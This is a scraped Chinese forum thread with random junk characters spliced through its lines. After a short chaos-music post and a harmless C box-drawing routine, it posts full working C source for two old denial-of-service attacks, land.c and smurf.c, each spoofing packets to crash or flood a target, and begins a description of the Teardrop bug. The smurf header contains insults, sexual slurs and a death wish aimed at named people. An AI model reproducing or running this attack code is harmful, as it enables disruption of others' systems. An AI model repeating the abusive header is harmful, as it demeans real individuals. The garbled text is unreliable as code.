  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。# `" `; V# i% X
不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
; ^8 R* r$ ]& H7 s* M" b, h2 P<FONT color=#009900>/*
/ L0 h4 A! n  U*
& W0 g9 L: v/ S* Short driver module
3 q! V3 b. i1 \0 v4 D3 V*
7 Z) q) z, Z# |5 X7 ^6 Q*/</FONT></P><><FONT color=#009900>main()0 `0 U$ u: Q/ t; O- j
{% i3 }' S1 `% @5 F* y" ]4 @
clrscr();) H) ^: O, P( v& O% t
box(1,1,23,79);: g  `9 E( w, o2 @0 M3 y  k# {
box(2,2,21,77);
7 a# k, _: M( y6 e% ebox(3,3,19,75);  V$ O  i/ S  Z/ o4 c4 q! b
box(4,4,17,73);
0 `  c8 o8 K* I4 Dbox(5,5,15,71);
1 l' ?+ D" J3 E3 J' x5 ^box(6,6,13,69);
! |) n  Q. O4 Dbox(7,7,11,67);  ?  F( k: @  w( k; q6 P
box(8,8,9,65);
5 Y0 S- W* T: ~: ^box(9,9,7,63);( [# m8 k2 [& `$ v7 j
box(10,10,5,61);" t0 _. l# K8 m' u  Q
box(11,11,3,59);
/ s+ j/ V. Q' \! n% Qbox(12,12,1,57);7 J) {8 a% k4 j
poscur(24,1);
. K+ w& k+ I9 _' ^}</FONT></P><><FONT color=#009900>/************************************************************
+ L4 t( Q/ O7 o* L% \9 S* BOX *
  l% @- ?/ \7 H*----------------------------------------------------------*
* Q/ }- D  \$ g7 e" M0 a* F* Written by: Jeff Ebert 7/01/87 *
& c/ r% n/ G! T+ p2 R* X, ^* Modified by: xxxxxxxxxx *3 J" u; c7 ]; b
* *$ t5 J2 T6 a, q5 [8 x# u
* Please modify me! *
4 n4 o/ M$ H$ E9 y2 l$ t5 T/ x* Possible Enhancements include but are not limited t *
0 A5 L% H, M9 ]* q* 1) Variable box character styles [1 line or 2] *
: l8 E- q" l0 E0 [& p$ U9 I  D# G' \* 2) Error checking *
. w" Z* e+ v! s* 3) Color options *% n0 q9 h* q+ _' ~  ^6 t! k8 k1 v3 b
* *% `  K9 j5 z2 ]" P5 m
* *
1 v. U( m2 W! m! w" [* This function builds a simple double frame for a menu. *
* U2 q+ h5 {2 R7 w, |* The function is passed the parameters for the upper *& R7 O. v; ^3 I# X
* left corner row, upper left corner column the height *
$ p9 s( f+ V( S0 I" \5 T* of the frame and the width. *
9 ^* Y. e; A6 d1 [8 u  U* r* *
; G, B& A) M# c************************************************************/  P4 X% d* f& `: ]3 j' X
#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 2017 R: O. `* o4 t( l9 L/ j; J
#define URCOR 187
! G% J  A5 W: r: a#define LLCOR 2003 ?7 a! y$ X' j  G; W& Y
#define LRCOR 188
+ i* Z1 c" C9 R+ w+ {4 @#define VBAR 186
) S+ I3 t7 c) t9 Z- |5 I#define HBAR 205
$ M, f7 z) f& j, v- j#define ESC 27</FONT></P><><FONT color=#009900>
) k8 A7 [2 l' `* b! @box(row, col, hgt, wdth)/ z" n1 F/ `- Y# w
int row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{
1 f( i1 g2 C# M. N6 g7 @6 eint x, y;</FONT></P><><FONT color=#009900>poscur(row,col);8 L# J1 S! R; r3 I  ?% Z& W
putchar(ULCOR);
9 M' k5 B. R/ ^/ b+ H) g- Lfor(x = col + 1; x &lt;=(col + wdth -1); x++)- d" o5 f/ `& V+ o  ?! h! O
putchar(HBAR);
' d& o& O; h6 Rputchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){
  Z9 Z  m" _9 N- M7 o7 ]  E9 I, z  Yposcur(x,col);2 J  {) \; l5 y4 |: J. |0 P
putchar(VBAR);5 v) P( g0 }* u, o1 X
poscur(x,col+wdth);
$ _7 \( |$ m- j% W- t# _" ]putchar(VBAR);1 g! D. B/ F  z4 _
}- w' r7 I  t# g: w  r
poscur(x,col);
3 _) z* j" {) O! [+ k" Z  rputchar(LLCOR);2 r* M# y* n/ U+ d  F- j
for(x= col + 1; x &lt;=(col + wdth -1); x++); m* i2 Q# e7 ~" g
putchar(HBAR);
, W9 r/ B/ f: w* qputchar(LRCOR);* I3 S& ?. q# \1 |
}</FONT></P><><FONT color=#009900>/********************************************************
/ e; Z; Y& C; D  A" N4 @2 D* POSCUR *
, n' h6 O4 I- _! X; y, A1 I*------------------------------------------------------*
+ n. Y# n( q/ `2 s( d& ^' c5 n* This function positions the cursor at the specified *5 {6 V7 a/ x1 p% T7 Q2 ~
* x,y coordinate. It uses the ANSI standard ESCAPE */ H6 [/ v0 x# @- C' C2 m: @; g
* sequence to produce the desired effect. Its not the *4 U" ~! {8 B. a6 c2 N6 Q" i
* fastest way to position the cursor, but perhaps the *
8 N, [& z$ W; X* most portable. */ u9 v# [# y$ R' J
* *
* `: i+ N% p4 @$ [; U6 A********************************************************/* S) I8 \% M7 v3 {6 ]5 g' G$ P8 E; p
poscur(xcor,ycor)1 A* [$ b! q7 N4 j
int xcor,ycor;
) a. b" \" z" Z& i; A{ 3 [: \1 d! f% {$ W" O% U! e6 B. }
printf("%c[%d;%dH",ESC,xcor,ycor);# `4 z1 i# e! A+ Q; V" h0 _7 [
}</FONT></P><><FONT color=#009900>2 k# C2 D1 L7 F  T! ^& i
/********************************************************, ]) }- F) {4 U+ L) z! [2 r
* CLRSCR *
7 O, U' Z3 G' W5 u*------------------------------------------------------*0 ~) h/ w5 Y1 d/ W
* This function positions the cursor at the specified *
" w9 g+ z: e9 O( i! x) W* x,y coordinate. It uses the ANSI standard ESCAPE *
$ i3 w2 b" [! {! O* sequence to produce the desired effect. Its not the *
6 b# ]+ X" q( u$ d' ?1 H% T* fastest way to position the cursor, but perhaps the *
# d7 |- K) |  R* B0 ^* most portable. *
& H5 g- P" y+ ^- h  Q0 J* *
" v: q# @& H9 P& K6 ~********************************************************/: |) x# W  U% X6 \( p
clrscr()
, V* D2 @6 H2 e3 x1 K{ # f! o- ~8 D6 F' K3 h/ o
printf("%c[2J",ESC);
+ j7 Y2 I1 u; `, {# D9 L4 |}</FONT>
0 I9 j0 ^+ M) U/ c</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract
3 e5 `8 \2 e' W  ~0 s, F% V这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自& _* \4 K8 _# m& ?$ \
己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>
2 U: ~+ d( n+ F1 |<FONT color=#009900>/* land.c by m3lt, FLC/ x# J' O5 U. o/ D9 ^6 R+ p+ U* T
crashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>
- Z% U6 F* q: C" n8 `#include <NETDB.H>2 D% K& Y+ D; h" {. N  w
#include <ARPA inet.h>0 L7 D" X5 v) I$ q
#include <NETINET in.h>
* p) c5 L4 E) Z7 R#include <SYS types.h>5 y+ b) }7 I+ ?1 ~
#include <SYS socket.h>
! R$ |  D9 A1 L+ p3 t( ^#include <NETINET ip.h>
! ]4 S5 R; L; T9 B* i* `5 z#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头& |' X5 J5 h' g5 D
struct pseudohdr
4 l, j7 o, {* t+ d8 \( S$ I{# W; L+ j  V2 s: ?
struct in_addr saddr;
2 y5 K2 d  _+ i$ kstruct in_addr daddr;
# J" t( j+ s+ x: j% T" s) U) ?u_char zero;
, x0 k( x* N! _) b2 C1 ju_char protocol;
. n6 C1 d% \) }3 C3 z* ou_short length;
) V- U! \& u0 [! a% ]4 D0 }struct tcphdr tcpheader;6 _: g+ l% M# A0 M; T6 m2 v
};</FONT></P><><FONT color=#009900>//计算IP校验和
& P* ^5 W7 _. A; m; i: zu_short checksum(u_short * data,u_short length)
* I  }6 P. U4 Z1 H+ e" N{
% H. Q/ g9 |4 |' b6 I8 Z' \6 m3 o2 Lregister long value;  O- S3 V) F: Z, E1 q
u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)
! X' x2 o1 n  q! ]  R% yvalue+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)
. o  ~; m: n" L$ x7 w3 c& Jvalue+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
, W7 q( v/ }6 J( i}</FONT></P><><FONT color=#009900>: s# U. U9 w7 F2 Z+ K, _
int main(int argc,char * * argv)
0 {! |9 d6 D8 e6 ~1 n{
5 r1 P9 \. s9 E& ^, [struct sockaddr_in sin;
9 R/ m7 \& p: istruct hostent * hoste;
' C9 U5 @: g8 q/ `5 Iint sock;2 z4 p; P! k6 ?* e& P
char buffer[40];
5 `2 N% P5 `" e0 u9 i+ F% I. D- Kstruct iphdr * ipheader=(struct iphdr *) buffer;1 G- S( E$ O4 E; \. o
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
. ]& |) \+ f: E% |7 gstruct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)% ~  K9 h' H, w5 `
{
, D; ]1 @* U# W5 qfprintf(stderr,"usage: %s IP port\n",argv[0]);
) P: [7 r, f' K0 ^return(-1);
4 N/ n; c  G9 d}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
, B8 r* M2 E! ^8 p$ Zsin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)
4 S7 |2 Q5 W' wbcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);
0 F# d4 ^6 q5 \5 X' d9 Velse if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)( D8 Z" s% g+ [$ ~
{
3 o1 @) R3 n  n# Q) ifprintf(stderr,"unknown host %s\n",argv[1]);
. t& @% w% [: k' Z8 Mreturn(-1);
9 g+ n: T" Z2 z3 }5 a: S4 |. y7 \6 _}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)* i/ F  {: b* y1 ]) U2 H- N
{2 `& t% ^; k) p1 Q' `. N
fprintf(stderr,"unknown port %s\n",argv[2]);
+ {; f& R8 ~) w) s) j. l+ Dreturn(-1);' ]% h  a6 k9 U7 K& @  _- ^) O
}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限2 F5 d  b3 Y3 ]! M3 x7 d5 c
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)) w' Z) L6 A$ e2 F
{
! O% {% W$ g: l( X# D$ {" x+ v6 Wfprintf(stderr,"couldn't allocate raw socket\n");( D% T( X+ Q$ _  @
return(-1);
  _, _  M8 H0 q$ v. O}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));/ q, t0 E3 g6 h0 x  f5 m; T4 s, |
ipheader-&gt;version=4;
  l4 v8 Z) Q, K- y$ ~( z" G, N& ?0 Uipheader-&gt;ihl=sizeof(struct iphdr)/4;+ ?% S; j5 T1 u! q% U4 g. u
ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
, U: k8 {1 n" F* hipheader-&gt;id=htons(0xF1C);- v( ]4 {, G3 }/ W$ G4 R/ }* s2 s
ipheader-&gt;ttl=255;
" A# n9 `( W6 h- F/ N2 R$ _& v* Ripheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同
; p0 |9 q- B4 _8 I) E4 Nipheader-&gt;saddr=sin.sin_addr.s_addr;
9 o' V/ n3 Y& A3 @/ W& L% t9 M# h7 sipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同
  I% o+ Y/ B, V4 T( J! b4 x* ?; K- Ctcpheader-&gt;th_sport=sin.sin_port;
) P/ \. u3 P" k* J- b3 Mtcpheader-&gt;th_dport=sin.sin_port;
  U! L5 @6 G8 X: q) _" y% Wtcpheader-&gt;th_seq=htonl(0xF1C);4 Z2 C! ^3 R0 D, L- e3 ?
tcpheader-&gt;th_flags=TH_SYN;! k8 ]; z6 S- Q2 n
tcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
3 J3 J$ C6 U6 ]$ z  y9 L/ ltcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));
- p& c8 s- k3 Y" Y* fpseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
. K5 {, z8 I5 k) l" {" p* L; @* Hpseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
5 }( d. K7 M5 r1 }pseudoheader.protocol=6;
' Q% z$ d  W& P, I% Vpseudoheader.length=htons(sizeof(struct tcphdr));
6 Q9 n! [: }! f* ybcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));
( `- b% {& z7 _+ z( ctcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
- ^% S9 o; @0 E0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)
& P) g8 y9 P2 y- @  z4 G5 Z{
0 t  w" m! X; ffprintf(stderr,"couldn't send packet\n");: \. M9 V) q8 |1 L& s
return(-1);; a' H' ?( i' `% p8 r' M
}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);4 i0 m; |4 M0 @
return(0);
' p3 j9 p4 K$ J7 {; s}</FONT></P><>1 _7 O# V; G) f# }4 L; t9 |: L* b
2 Smurf$ u& {6 G) ]4 X9 _% n! r' e
smurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数
3 G, l7 V( d& d) E- e" [/ |3 p据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包
  v8 m* z3 _$ G; q' Y* x% `$ y的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些7 s: W# u# H0 T( k
icmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢% P% [0 ?& T7 a
(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变  q5 c6 y4 U' H9 o! ~
成不可能(没有WINS服务器时)。</P><P>/*
! P6 T0 a( F6 _*
/ A2 ~: ~9 o7 W* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
) {; n0 b2 @+ E) L7 m- `, P/ O! Z& N*; t. n* }3 k; ]. f2 ]
* spoofs icmp packets from a host to various broadcast addresses resulting; L5 n! y, B" M9 X/ U" P# e
* in multiple replies to that host from a single packet., ^7 _7 z6 m) `6 s5 h
*
' y- @' r5 o4 T5 C( x! |* mad head t
! w' I$ c  U. e  V* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
8 j# z0 _0 e; U% R" V' s  j* MissSatan for swallowing, napster for pimping my sister, the guy that2 H" V4 U- l( d3 D
* invented vaseline, fyber for trying, knowy, old school #havok, kain
; V+ s" l7 S/ G* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
3 ~) t9 q* d' e' m* have missed (you know who you are)." z2 ]9 [( o6 o* v' {# o
*
. `3 l4 H1 T% e4 Z* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
" e' h7 v" q) s- e- O& A. D; w, B* thing he is (he's -almost- as stubborn as me, still i managed to pick up1 h' s5 x$ K8 H5 J
* half the cheque).- M/ Y4 Y. U; L! B
*
( b# l! n; X, U5 Z* and a special hi to Todd, face it dude, you're fucking awesome.; P4 w& i. l9 Y9 N+ {3 p, t
*3 T/ a4 y* d7 M3 w2 _
* mad anal t4 @  J  e+ @2 j0 S8 r" v4 }3 w
* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
- ], e6 K) {1 g/ ?6 @# Z: C* because they plain suck, Rolex for being a twit, everyone that
7 O, W3 s: _' I3 ]1 [' u* trades warez, Caren for being a lesbian hoe, AcidKill for being her
1 V$ y9 X; {$ T/ H* partner, #cha0s, sedriss for having an ego in inverse proportion to& D. ~9 f) }8 F$ f4 i8 A- G$ K
* his penis and anyone that can't pee standing up -- you don't know what
0 O; {9 ?1 e+ I* your missing out on.
1 O" a0 d$ ?$ o* x*
- d" i* G2 |# ]) W" N7 r9 m* and anyone thats ripped my code (diff smurf.c axcast.c is rather7 Z! o' b( U& J$ `" N
* interesting).+ D3 j  M: p, D9 Z+ M
*4 O6 v' b6 `7 N- y  i3 p0 U  j
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill8 B* M: b+ I3 I3 I  D$ ~$ x
* Robbins for trying to steal my girlfriend. Not only did you show me4 v  J4 U" j' `3 S+ G
* no respect but you're a manipulating prick who tried to take away the
7 `. c  h- X7 ]( P$ a* most important thing in the world to me with no guilt whatsoever, and
/ P) S: @; O, E; V* s- Z: u* for that I wish you nothing but pain. Die., y+ T$ j9 ?; `& c% P) g
*" b; _% }& a. P8 ]' _
* disclaimer:
8 ?4 G) }1 t! G# m* I cannot and will not be held responsible nor legally bound for the
( _4 a2 U2 q  R6 y% Y* malicious activities of individuals who come into possession of this
  b/ i0 Z  [! Y0 ^9 o, r* program and I refuse to provide help or support of any kind and do NOT
7 g+ m. V6 g# ?  k, M4 D! n* condone use of this program to deny service to anyone or any machine.' ]* m7 O2 t1 h/ R) o0 z
* This is for educational use only. Please Don't abuse this.+ E/ ^' [1 K9 |+ V# U( H: ?$ U
*
' K' v) Q  ?! t* Well, i really, really, hate this code, but yet here I am creating another) }; [& m4 w6 J
* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
8 e9 k& K3 H* B* like most programmers don't like seeing bugs in their code. I saw a few! V) V' o- j* g* d: Y
* things that should have been done better or needed fixing so I fixed$ \) k7 a: i6 _) J0 ]6 M9 r- k' I  r
* them. -shrug-, programming for me as always seemed to take the pain away
! c# B" U5 L3 y2 J' C* ...! n4 ~; s* r$ a$ p: q7 p) B. i
*8 {  z6 o3 Y2 F6 c
*& F7 Q. w# q- z" z. x& G3 T
*/</P><P>#include <SIGNAL.H>
6 N, E+ c* a9 A8 M#include <STDIO.H>
  b: `$ B3 C9 D1 f5 y' c#include <STDLIB.H>
  X4 _6 T2 B3 Y$ w; W2 y#include <SYS socket.h>
5 H# e1 A" |1 j: u  o5 ]#include <SYS types.h>
& s4 J4 [. w! ^! \' C+ g#include <NETINET in.h>% b/ l! ^: z# P$ u
#include <NETINET ip.h>
7 h) r2 I( p6 T6 K5 d4 p#include <NETINET ip_icmp.h>/ {/ _0 X" p. d
#include <NETDB.H>
( [8 K/ N5 m) B/ }#include <CTYPE.H>
( W+ d# X7 m7 M% [#include <ARPA inet.h>
: a' \" X+ l/ Y" r; L: y#include <UNISTD.H>
3 S% V( m0 I! J  b#include <STRING.H></P><P>void banner(void);2 l* d8 j5 X( _" m
void usage(char *);
4 e, V6 ~5 l: Rvoid smurf(int, struct sockaddr_in, u_long, int);
: B& Q7 w7 i$ k, evoid ctrlc(int);
% A: Z* b( k: }) `- u% kunsigned short in_chksum(u_short *, int);</P><P>/* stamp */
+ }( T9 H& i, C, gchar id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])
/ n0 l$ }% ^; S! l2 R9 [( H{9 |* z% {2 V; H- S6 M# o" R
struct sockaddr_in sin;# m1 v4 {# C4 W4 T/ B# [% h( a
struct hostent *he;/ Q3 g9 i6 i4 e
FILE *bcastfile;2 S  }# _  U* }! S( E9 q
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
+ p+ B9 `% ?6 E' d) U3 Y# jchar buf[32], **bcastaddr = malloc(8192);</P><P>banner();# ~, p% G  [; D7 M' [0 x; U
signal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
6 w9 }) F* E/ N( i: N& fperror("resolving source host");
, }2 D6 F5 o) t1 T* x9 gexit(-1);1 \/ Q6 Y6 R- a9 T, H  n4 \
}1 Z4 |3 g* h' y8 b+ C8 L& r
memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);/ D0 {5 {; ~! h0 ^+ b3 O  ^* q% S, q. n
sin.sin_family = AF_INET;+ F5 j, m4 X1 f: M$ `
sin.sin_port = htons(0);</P><P>num = atoi(argv[3]);) ~/ Q- R& B( W- y7 \
delay = atoi(argv[4]);6 G/ T9 T( i3 f( S3 V- `% ^
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {: w$ ]# X; E+ |  n$ u
perror("opening bcast file");; ?8 k1 B# K9 f" b
exit(-1);& Y, z7 ^. X* O1 p+ v
}
/ b/ k! X# j& W* u! M& _% Fx = 0;* `& Q' U4 ~& C; [
while (!feof(bcastfile)) {
4 o1 Y# L  q1 ~8 e' d- U6 ]# Sfgets(buf, 32, bcastfile);, F. S. y' y, n4 r6 {
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
) H2 J6 l3 @; Efor (i = 0; i &lt; strlen(buf); i++)
9 I- J/ z, t  M9 eif (buf == '\n') buf = '\0';
. [, w3 V/ Y; b: E& g5 N' [( zbcastaddr[x] = malloc(32);
1 ?3 J7 H: H" r$ W* Rstrcpy(bcastaddr[x], buf);7 d3 P3 G& u9 y
x++;
) X% ?0 F; K; r* g! t}
* }8 d& f$ b, D. q4 K! Qbcastaddr[x] = 0x0;6 s/ |5 x. t" T3 w9 z3 E9 q3 I' W2 F
fclose(bcastfile);</P><P>if (x == 0) {4 Y4 T, G( u  i- F0 E0 X1 A- D
fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
+ U2 \: n$ U  B1 @9 S; H9 eexit(-1);
8 C* v! P9 m  b% K% k0 P5 G* B5 Z}
, T, m& H3 e; w" hif (pktsize &gt; 1024) {+ c) t3 o5 S( Q
fprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");
6 A  @2 m& g* n" n8 kexit(-1);
2 S/ _* x( F/ k% V% C% I# W}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
& Q* g* S% C& [' w3 s# `+ J7 Cperror("getting socket");/ U! n- h$ B% r/ ~0 P6 h: K
exit(-1);$ p" z# c6 r! c# F3 }
}
: u5 w" t' X* ?3 b$ bsetsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
" h  m) C( @; ?if (!(i % 25)) { printf("."); fflush(stdout); }
+ V$ k# J) I3 X' [, Usmurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);8 S( I; E( u4 W' s! T. z. e7 e
cycle++;% C% d7 D$ k" I$ E% M
if (bcastaddr[cycle] == 0x0) cycle = 0;7 k  s5 l" Z8 M% _* R: {
usleep(delay);
3 @$ M) c& W8 X! L/ z}: F* M5 R3 v% N/ h6 o* T$ U& R
puts("\n\n");
# `/ t% n( r& r6 o' \return 0;
9 d' o& H2 m. B}</P><P>void banner (void)
: E( d) l% _7 o3 ]{
9 h) f8 f- D. K" y, A5 Pputs("\nsmurf.c v4.0 by TFreak\n");( }" x: ]4 V4 I: a: b
}</P><P>void usage (char *prog); B1 Y+ J' s2 _5 x5 ]4 r& d  U
{
! V  F1 ^& c( n8 @fprintf(stderr, "usage: %s <TARGET><BCAST file>"; M/ Y. u* v( ~& [5 Y8 N7 j
"<NUM packets> <PACKET delay><PACKET size>\n\n"
0 N. S2 ?. `/ t/ ?& j  W"target = address to hit\n"
+ m8 o4 K9 u3 J) d) Q/ }# Z"bcast file = file to read broadcast addresses from\n"" y) K) y  [5 ?. x- L' P
"num packets = number of packets to send (0 = flood)\n"
) o- m" \# r; g& m0 z6 v9 p7 |! h"packet delay = wait between each packet (in ms)\n"
$ E. z4 N: U* r, ~5 {# V- d# y"packet size = size of packet (&lt; 1024)\n\n", prog);; X9 E( f- y: y7 v
exit(-1);- A; t8 x: J; _: A- H
}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)5 y0 G0 q2 n3 r) d  Z* |2 x, I
{. q. `' z1 [  p3 |
struct iphdr *ip;
' b3 }, s2 P, ]* Q" istruct icmphdr *icmp;
3 p& H5 C3 f0 p+ o+ A& rchar *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
. A$ V! O5 t' B9 a+ t* w; pip = (struct iphdr *)packet;. ?$ q5 i' [% e2 E
icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
0 q% z; ~4 e# v5 uip-&gt;ihl = 5;& O# J; [6 J. ]
ip-&gt;version = 4;+ q3 w& S' V6 `; `5 h
ip-&gt;ttl = 255;
: d3 n( E: D/ }# q0 jip-&gt;tos = 0;
4 \* c$ t$ S, z! [1 H, n+ eip-&gt;frag_off = 0;: ]$ \$ x. L0 b& q
ip-&gt;protocol = IPPROTO_ICMP;
& v9 Y: u" W; T8 Z# P3 ~; Vip-&gt;saddr = sin.sin_addr.s_addr;
6 o; L2 E/ w; K$ K2 Eip-&gt;daddr = dest;+ S$ C: i% _$ m9 h4 a
ip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));( A  q( s+ M* k( ~" {
icmp-&gt;type = 8;+ U/ `! x. H7 f5 |6 o9 C
icmp-&gt;code = 0;
4 R* r  R! I, i7 B; Y$ ?9 dicmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,( C  N! M3 c6 s  Z7 C
0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */& o& ]7 l; R# Y. D
}</P><P>void ctrlc (int ignored)
. _# J  Y. q: w  D{
+ |+ ?& ]% j8 O# `% @4 H, Tputs("\nDone!\n");5 _5 q) |! g4 m+ g; w
exit(1);
$ ]/ p7 ?4 b: [' q2 H* X* b; \6 _% q8 [}</P><P>unsigned short in_chksum (u_short *addr, int len)
& g  k& s) ?1 @{6 O" r0 o6 D# ~4 k3 e, m5 v' s
register int nleft = len;
; F! }( T8 T. w# o( Jregister int sum = 0;$ }/ g% X2 L. G6 W( i1 B) r
u_short answer = 0;</P><P>while (nleft &gt; 1) {
0 x- I: q& }' l9 ~sum += *addr++;
# r1 L' k' L  Fnleft -= 2;
3 L+ F7 x" v- r5 }" H}</P><P>if (nleft == 1) {
; C  d/ x( w' n7 L) a- ?*(u_char *)(&amp;answer) = *(u_char *)addr;
3 u5 y2 k, f9 k* J; e4 Esum += answer;) q; B2 Z) N* A  e
}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);
; ^% I2 e/ r3 k1 m% wsum += (sum &gt;&gt; 16);
8 }, V/ ~' z2 `# u& j! v7 Danswer = ~sum;% l/ F, j" y: S: U1 f
return(answer);  A! n% Q  o* c2 \2 D
}</P><P>( _0 j! p7 c( X3 A
3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:/ K: G8 I& E8 a2 s' h! S+ A
fp = qp-&gt;fragments;" K, a) t3 x8 C# \0 X2 w
while(fp != NULL)3 ^, f; a2 i2 M' h: f; b; w. g5 g
{5 l6 {) c3 c7 ]* J
if(count+fp-&gt;len &gt; skb-&gt;len)
2 R7 g; E" i- ~2 @' w{
! t, p3 m5 ?3 J; w& J8 ferror_to_big;
7 A( s6 O- [  d/ A0 z7 j* ?9 V}2 p6 F2 W( R8 }; P' f7 M" ~
memcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);# p$ V1 Q3 z# O/ E1 w0 Y
count += fp-&gt;len;; U4 b0 a, o% q9 W% j0 s  h
fp = fp-&gt;next;
& a9 |. f, ~: O; L6 k- c1 g}
